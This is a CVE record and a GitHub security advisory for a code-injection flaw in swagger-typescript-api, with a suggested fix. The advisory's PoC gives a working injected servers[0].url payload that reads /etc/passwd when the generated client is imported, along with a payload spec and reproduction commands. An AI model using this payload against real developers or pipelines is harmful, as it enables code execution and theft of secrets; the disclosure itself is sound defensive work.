{
  "affected": [
    {
      "affectedData": [
        {
          "product": "swagger-typescript-api",
          "vendor": "acacode",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 13.12.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/code-gen-process.ts createApiConfig copies servers[0].url into apiConfig.baseUrl, and templates/base/http-clients/fetch-http-client.ejs interpolates apiConfig.baseUrl into the generated HttpClient baseUrl field without escaping, allowing an attacker-controlled OpenAPI spec to inject TypeScript static field code that executes when the generated fetch client module is imported. This issue is fixed in version 13.12.2."
    }
  ],
  "id": "CVE-2026-54662",
  "lastModified": "2026-07-29T16:17:53.997",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54662",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-29T15:15:30.473520Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-29T15:16:25.577",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        },
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94",
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:26:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE \u2014 TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction \u2014 no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n    public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n    private securityData: SecurityDataType | null = null;\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"URL\";\n  static _pwn = (IIFE)();    // \u003c-- static field initializer\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration\u0027s initializer is evaluated at **class definition** \u2014 i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization \u2014 no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body \u2014 payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"https://api.example.com\";\n  static _pwn = (async () =\u003e {\n    try {\n      const fs = await import(\"node:fs\");\n      const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n      fs.writeFileSync(\"/tmp/sta_canary\", data);\n    } catch (e) {}\n  })();\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import(\u0027./out/Api.bundle.mjs\u0027)` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** \u2014 the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-hqj5-cw9f-rx67",
  "modified": "2026-07-29T14:26:38Z",
  "published": "2026-07-29T14:26:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template"
}